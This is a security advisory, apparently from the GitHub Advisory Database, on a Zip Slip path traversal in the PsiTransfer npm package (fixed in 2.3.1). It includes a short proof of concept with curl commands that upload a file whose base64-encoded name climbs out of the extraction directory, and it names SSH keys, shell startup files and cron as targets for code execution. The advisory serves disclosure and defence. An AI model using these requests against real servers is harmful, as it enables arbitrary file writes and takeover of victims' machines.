PsiTransfer has Zip Slip Path Traversal via TAR Archive Download
Summary
A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. ../../../.ssh/authorized_keys). When a victim downloads the bucket as a .tar.gz archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.
Details
The vulnerability exists in the archive download functionality in lib/endpoints.js where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.
lib/endpoints.js:275
const entry = pack.entry({ name: info.metadata.name, size: info.size });
lib/endpoints.js:372
assert(meta.name, 'tus meta prop missing: name');
PoC
I. Upload file with malicious filename (no authentication required).
MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64)
SID=$(echo -n "evil" | base64)
RETENTION=$(echo -n "3600" | base64)
curl -X POST http://TARGET:3000/files \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Length: 15" \
-H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}"
II. Complete upload with PATCH
curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Offset: 0" \
-H "Content-Type: application/offset+octet-stream" \
-d "MALICIOUS_CONTENT"
III. Victim downloads and extracts TAR
curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz
tar -tzf files.tar.gz
Impact
Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc... No Authentication Required: Default configuration has uploadPass: false. Social Engineering Vector: Attacker sends malicious download link to victim.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | psitransfer | < 2.3.1 | 2.3.1 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N- Weakness (CWE)
CWE-22, CWE-23- Platform
- npm
- Package
psitransfer- Disclosed
- 30.12.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-xphh-5v4r-r3rx - CC BY 4.0
Vulnerability history: psitransfer
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 04.2024 04.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
- Medium 2
Disclosures per year
- 2024: 2
- 2025: 1
- 2026: 1
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PsiTransfer has Zip Slip Path Traversal via TAR Archive Download this entry
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